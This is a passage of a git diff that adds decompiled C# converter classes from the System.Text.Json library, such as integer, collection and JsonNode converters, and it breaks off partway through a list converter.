+using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ISetOfTConverter : IEnumerableDefaultConverter where TCollection : ISet +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + TCollection val = (TCollection)state.Current.ReturnValue; + val.Add(value); + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + base.CreateCollection(ref reader, ref state, options); + if (((TCollection)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(HashSet))) + { + jsonTypeInfo.CreateObject = () => new HashSet(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverter.cs new file mode 100644 index 0000000..46bc193 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverter.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal class ImmutableDictionaryOfTKeyTValueConverter : DictionaryDefaultConverter where TDictionary : IReadOnlyDictionary +{ + internal sealed override bool CanHaveMetadata => false; + + internal override bool SupportsCreateObjectDelegate => false; + + protected sealed override void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state) + { + ((Dictionary)state.Current.ReturnValue)[key] = value; + } + + protected sealed override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + state.Current.ReturnValue = new Dictionary(); + } + + protected sealed override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + Func>, TDictionary> func = (Func>, TDictionary>)state.Current.JsonTypeInfo.CreateObjectWithArgs; + state.Current.ReturnValue = func((Dictionary)state.Current.ReturnValue); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverterWithReflection.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverterWithReflection.cs new file mode 100644 index 0000000..9ee354e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableDictionaryOfTKeyTValueConverterWithReflection.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ImmutableDictionaryOfTKeyTValueConverterWithReflection : ImmutableDictionaryOfTKeyTValueConverter where TCollection : IReadOnlyDictionary +{ + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public ImmutableDictionaryOfTKeyTValueConverterWithReflection() + { + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + internal override void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.CreateObjectWithArgs = DefaultJsonTypeInfoResolver.MemberAccessor.CreateImmutableDictionaryCreateRangeDelegate(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverter.cs new file mode 100644 index 0000000..448cd9f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverter.cs @@ -0,0 +1,28 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal class ImmutableEnumerableOfTConverter : IEnumerableDefaultConverter where TCollection : IEnumerable +{ + internal sealed override bool CanHaveMetadata => false; + + internal override bool SupportsCreateObjectDelegate => false; + + protected sealed override void Add(in TElement value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected sealed override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected sealed override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + Func, TCollection> func = (Func, TCollection>)jsonTypeInfo.CreateObjectWithArgs; + state.Current.ReturnValue = func((List)state.Current.ReturnValue); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverterWithReflection.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverterWithReflection.cs new file mode 100644 index 0000000..5400ee2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ImmutableEnumerableOfTConverterWithReflection.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ImmutableEnumerableOfTConverterWithReflection : ImmutableEnumerableOfTConverter where TCollection : IEnumerable +{ + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + public ImmutableEnumerableOfTConverterWithReflection() + { + } + + [RequiresUnreferencedCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + [RequiresDynamicCode("System.Collections.Immutable converters use Reflection to find and create Immutable Collection types, which requires unreferenced code.")] + internal override void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.CreateObjectWithArgs = DefaultJsonTypeInfoResolver.MemberAccessor.CreateImmutableEnumerableCreateRangeDelegate(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int16Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int16Converter.cs new file mode 100644 index 0000000..db2f897 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int16Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class Int16Converter : JsonPrimitiveConverter +{ + public Int16Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override short Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt16(); + } + + public override void Write(Utf8JsonWriter writer, short value, JsonSerializerOptions options) + { + writer.WriteNumberValue((long)value); + } + + internal override short ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt16WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, short value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override short ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetInt16WithQuotes(); + } + return reader.GetInt16(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, short value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue((long)value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int32Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int32Converter.cs new file mode 100644 index 0000000..3abb3c1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int32Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class Int32Converter : JsonPrimitiveConverter +{ + public Int32Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override int Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt32(); + } + + public override void Write(Utf8JsonWriter writer, int value, JsonSerializerOptions options) + { + writer.WriteNumberValue((long)value); + } + + internal override int ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt32WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, int value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override int ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetInt32WithQuotes(); + } + return reader.GetInt32(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, int value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue((long)value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int64Converter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int64Converter.cs new file mode 100644 index 0000000..6c918ca --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/Int64Converter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class Int64Converter : JsonPrimitiveConverter +{ + public Int64Converter() + { + base.IsInternalConverterForNumberType = true; + } + + public override long Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt64(); + } + + public override void Write(Utf8JsonWriter writer, long value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override long ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetInt64WithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, long value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override long ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetInt64WithQuotes(); + } + return reader.GetInt64(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, long value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonArrayConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonArrayConverter.cs new file mode 100644 index 0000000..28947b1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonArrayConverter.cs @@ -0,0 +1,34 @@ +using System.Text.Json.Nodes; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonArrayConverter : JsonConverter +{ + public override void Write(Utf8JsonWriter writer, JsonArray value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + value.WriteTo(writer, options); + } + } + + public override JsonArray Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.TokenType switch + { + JsonTokenType.StartArray => ReadList(ref reader, options.GetNodeOptions()), + JsonTokenType.Null => null, + _ => throw ThrowHelper.GetInvalidOperationException_ExpectedArray(reader.TokenType), + }; + } + + public static JsonArray ReadList(ref Utf8JsonReader reader, JsonNodeOptions? options = null) + { + JsonElement element = JsonElement.ParseValue(ref reader); + return new JsonArray(element, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonDocumentConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonDocumentConverter.cs new file mode 100644 index 0000000..d3ebb10 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonDocumentConverter.cs @@ -0,0 +1,21 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonDocumentConverter : JsonConverter +{ + public override JsonDocument Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return JsonDocument.ParseValue(ref reader); + } + + public override void Write(Utf8JsonWriter writer, JsonDocument value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + value.WriteTo(writer); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonElementConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonElementConverter.cs new file mode 100644 index 0000000..5606bad --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonElementConverter.cs @@ -0,0 +1,14 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonElementConverter : JsonConverter +{ + public override JsonElement Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return JsonElement.ParseValue(ref reader); + } + + public override void Write(Utf8JsonWriter writer, JsonElement value, JsonSerializerOptions options) + { + value.WriteTo(writer); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonMetadataServicesConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonMetadataServicesConverter.cs new file mode 100644 index 0000000..45eada6 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonMetadataServicesConverter.cs @@ -0,0 +1,55 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonMetadataServicesConverter : JsonResumableConverter +{ + internal JsonConverter Converter { get; } + + internal override Type KeyType => Converter.KeyType; + + internal override Type ElementType => Converter.ElementType; + + public override bool HandleNull { get; } + + internal override bool ConstructorIsParameterized => Converter.ConstructorIsParameterized; + + internal override bool SupportsCreateObjectDelegate => Converter.SupportsCreateObjectDelegate; + + internal override bool CanHaveMetadata => Converter.CanHaveMetadata; + + internal override bool CanPopulate => Converter.CanPopulate; + + public JsonMetadataServicesConverter(JsonConverter converter) + { + Converter = converter; + base.ConverterStrategy = converter.ConverterStrategy; + base.IsInternalConverter = converter.IsInternalConverter; + base.IsInternalConverterForNumberType = converter.IsInternalConverterForNumberType; + base.CanBePolymorphic = converter.CanBePolymorphic; + base.HandleNullOnRead = converter.HandleNullOnRead; + base.HandleNullOnWrite = converter.HandleNullOnWrite; + HandleNull = converter.HandleNullOnWrite; + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out T value) + { + return Converter.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, T value, JsonSerializerOptions options, ref WriteStack state) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (!state.SupportContinuation && jsonTypeInfo.CanUseSerializeHandler && !JsonHelpers.RequiresSpecialNumberHandlingOnWrite(state.Current.NumberHandling) && !state.CurrentContainsMetadata) + { + ((JsonTypeInfo)jsonTypeInfo).SerializeHandler(writer, value); + return true; + } + return Converter.OnTryWrite(writer, value, options, ref state); + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + Converter.ConfigureJsonTypeInfo(jsonTypeInfo, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverter.cs new file mode 100644 index 0000000..4240f4a --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverter.cs @@ -0,0 +1,66 @@ +using System.Text.Json.Nodes; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonNodeConverter : JsonConverter +{ + private static JsonNodeConverter s_nodeConverter; + + private static JsonArrayConverter s_arrayConverter; + + private static JsonObjectConverter s_objectConverter; + + private static JsonValueConverter s_valueConverter; + + public static JsonNodeConverter Instance => s_nodeConverter ?? (s_nodeConverter = new JsonNodeConverter()); + + public static JsonArrayConverter ArrayConverter => s_arrayConverter ?? (s_arrayConverter = new JsonArrayConverter()); + + public static JsonObjectConverter ObjectConverter => s_objectConverter ?? (s_objectConverter = new JsonObjectConverter()); + + public static JsonValueConverter ValueConverter => s_valueConverter ?? (s_valueConverter = new JsonValueConverter()); + + public override void Write(Utf8JsonWriter writer, JsonNode value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + value.WriteTo(writer, options); + } + } + + public override JsonNode Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + switch (reader.TokenType) + { + case JsonTokenType.String: + case JsonTokenType.Number: + case JsonTokenType.True: + case JsonTokenType.False: + return ValueConverter.Read(ref reader, typeToConvert, options); + case JsonTokenType.StartObject: + return ObjectConverter.Read(ref reader, typeToConvert, options); + case JsonTokenType.StartArray: + return ArrayConverter.Read(ref reader, typeToConvert, options); + case JsonTokenType.Null: + return null; + default: + throw new JsonException(); + } + } + + public static JsonNode Create(JsonElement element, JsonNodeOptions? options) + { + return element.ValueKind switch + { + JsonValueKind.Null => null, + JsonValueKind.Object => new JsonObject(element, options), + JsonValueKind.Array => new JsonArray(element, options), + _ => new JsonValuePrimitive(element, JsonMetadataServices.JsonElementConverter, options), + }; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverterFactory.cs new file mode 100644 index 0000000..45df4d4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonNodeConverterFactory.cs @@ -0,0 +1,28 @@ +using System.Text.Json.Nodes; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonNodeConverterFactory : JsonConverterFactory +{ + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + if (typeof(JsonValue).IsAssignableFrom(typeToConvert)) + { + return JsonNodeConverter.ValueConverter; + } + if (typeof(JsonObject) == typeToConvert) + { + return JsonNodeConverter.ObjectConverter; + } + if (typeof(JsonArray) == typeToConvert) + { + return JsonNodeConverter.ArrayConverter; + } + return JsonNodeConverter.Instance; + } + + public override bool CanConvert(Type typeToConvert) + { + return typeof(JsonNode).IsAssignableFrom(typeToConvert); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonObjectConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonObjectConverter.cs new file mode 100644 index 0000000..ae02aef --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonObjectConverter.cs @@ -0,0 +1,56 @@ +using System.Text.Json.Nodes; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonObjectConverter : JsonConverter +{ + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.CreateObjectForExtensionDataProperty = () => new JsonObject(options.GetNodeOptions()); + } + + internal override void ReadElementAndSetProperty(object obj, string propertyName, ref Utf8JsonReader reader, JsonSerializerOptions options, scoped ref ReadStack state) + { + JsonNode value; + bool isPopulatedValue; + bool flag = JsonNodeConverter.Instance.TryRead(ref reader, typeof(JsonNode), options, ref state, out value, out isPopulatedValue); + JsonObject jsonObject = (JsonObject)obj; + if (jsonObject.Count < 25) + { + jsonObject[propertyName] = value; + return; + } + ref LargeJsonObjectExtensionDataSerializationState largeJsonObjectExtensionDataSerializationState = ref state.Current.LargeJsonObjectExtensionDataSerializationState; + LargeJsonObjectExtensionDataSerializationState largeJsonObjectExtensionDataSerializationState2 = largeJsonObjectExtensionDataSerializationState ?? (largeJsonObjectExtensionDataSerializationState = new LargeJsonObjectExtensionDataSerializationState(jsonObject)); + largeJsonObjectExtensionDataSerializationState2.AddProperty(propertyName, value); + } + + public override void Write(Utf8JsonWriter writer, JsonObject value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + value.WriteTo(writer, options); + } + } + + public override JsonObject Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.TokenType switch + { + JsonTokenType.StartObject => ReadObject(ref reader, options.GetNodeOptions()), + JsonTokenType.Null => null, + _ => throw ThrowHelper.GetInvalidOperationException_ExpectedObject(reader.TokenType), + }; + } + + public static JsonObject ReadObject(ref Utf8JsonReader reader, JsonNodeOptions? options) + { + JsonElement element = JsonElement.ParseValue(ref reader); + return new JsonObject(element, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonPrimitiveConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonPrimitiveConverter.cs new file mode 100644 index 0000000..da22023 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonPrimitiveConverter.cs @@ -0,0 +1,24 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization.Converters; + +internal abstract class JsonPrimitiveConverter : JsonConverter +{ + public sealed override void WriteAsPropertyName(Utf8JsonWriter writer, [DisallowNull] T value, JsonSerializerOptions options) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + WriteAsPropertyNameCore(writer, value, options, isWritingExtensionDataProperty: false); + } + + public sealed override T ReadAsPropertyName(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType != JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedPropertyName(reader.TokenType); + } + return ReadAsPropertyNameCore(ref reader, typeToConvert, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonValueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonValueConverter.cs new file mode 100644 index 0000000..c086015 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/JsonValueConverter.cs @@ -0,0 +1,29 @@ +using System.Text.Json.Nodes; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class JsonValueConverter : JsonConverter +{ + public override void Write(Utf8JsonWriter writer, JsonValue value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + } + else + { + value.WriteTo(writer, options); + } + } + + public override JsonValue Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + JsonElement value = JsonElement.ParseValue(ref reader); + return new JsonValuePrimitive(value, JsonMetadataServices.JsonElementConverter, options.GetNodeOptions()); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeJsonObjectExtensionDataSerializationState.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeJsonObjectExtensionDataSerializationState.cs new file mode 100644 index 0000000..9e30a3c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeJsonObjectExtensionDataSerializationState.cs @@ -0,0 +1,34 @@ +using System.Collections.Generic; +using System.Text.Json.Nodes; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class LargeJsonObjectExtensionDataSerializationState +{ + public const int LargeObjectThreshold = 25; + + private readonly Dictionary _tempDictionary; + + public JsonObject Destination { get; } + + public LargeJsonObjectExtensionDataSerializationState(JsonObject destination) + { + JsonNodeOptions? options = destination.Options; + StringComparer comparer = ((options.HasValue && options.GetValueOrDefault().PropertyNameCaseInsensitive) ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal); + Destination = destination; + _tempDictionary = new Dictionary(comparer); + } + + public void AddProperty(string key, JsonNode value) + { + _tempDictionary[key] = value; + } + + public void Complete() + { + foreach (KeyValuePair item in _tempDictionary) + { + Destination[item.Key] = item.Value; + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverter.cs new file mode 100644 index 0000000..bfeef5d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverter.cs @@ -0,0 +1,43 @@ +using System.Buffers; +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal class LargeObjectWithParameterizedConstructorConverter : ObjectWithParameterizedConstructorConverter +{ + protected sealed override bool ReadAndCacheConstructorArgument(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonParameterInfo jsonParameterInfo) + { + object value; + bool flag = jsonParameterInfo.EffectiveConverter.TryReadAsObject(ref reader, jsonParameterInfo.ParameterType, jsonParameterInfo.Options, ref state, out value); + if (flag && (value != null || !jsonParameterInfo.IgnoreNullTokensOnRead)) + { + ((object[])state.Current.CtorArgumentState.Arguments)[jsonParameterInfo.Position] = value; + state.Current.MarkRequiredPropertyAsRead(jsonParameterInfo.MatchingProperty); + } + return flag; + } + + protected sealed override object CreateObject(ref ReadStackFrame frame) + { + object[] array = (object[])frame.CtorArgumentState.Arguments; + frame.CtorArgumentState.Arguments = null; + Func func = (Func)frame.JsonTypeInfo.CreateObjectWithArgs; + object result = func(array); + ArrayPool.Shared.Return(array, clearArray: true); + return result; + } + + protected sealed override void InitializeConstructorArgumentCaches(ref ReadStack state, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + List> list = jsonTypeInfo.ParameterCache.List; + object[] array = ArrayPool.Shared.Rent(list.Count); + for (int i = 0; i < jsonTypeInfo.ParameterCount; i++) + { + JsonParameterInfo value = list[i].Value; + array[value.Position] = value.DefaultValue; + } + state.Current.CtorArgumentState.Arguments = array; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverterWithReflection.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverterWithReflection.cs new file mode 100644 index 0000000..21a73de --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/LargeObjectWithParameterizedConstructorConverterWithReflection.cs @@ -0,0 +1,20 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class LargeObjectWithParameterizedConstructorConverterWithReflection : LargeObjectWithParameterizedConstructorConverter +{ + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public LargeObjectWithParameterizedConstructorConverterWithReflection() + { + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal override void ConfigureJsonTypeInfoUsingReflection(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + jsonTypeInfo.CreateObjectWithArgs = DefaultJsonTypeInfoResolver.MemberAccessor.CreateParameterizedConstructor(base.ConstructorInfo); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ListOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ListOfTConverter.cs new file mode 100644 index 0000000..c6d225d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ListOfTConverter.cs @@ -0,0 +1,58 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ListOfTConverter : IEnumerableDefaultConverter where TCollection : List +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if 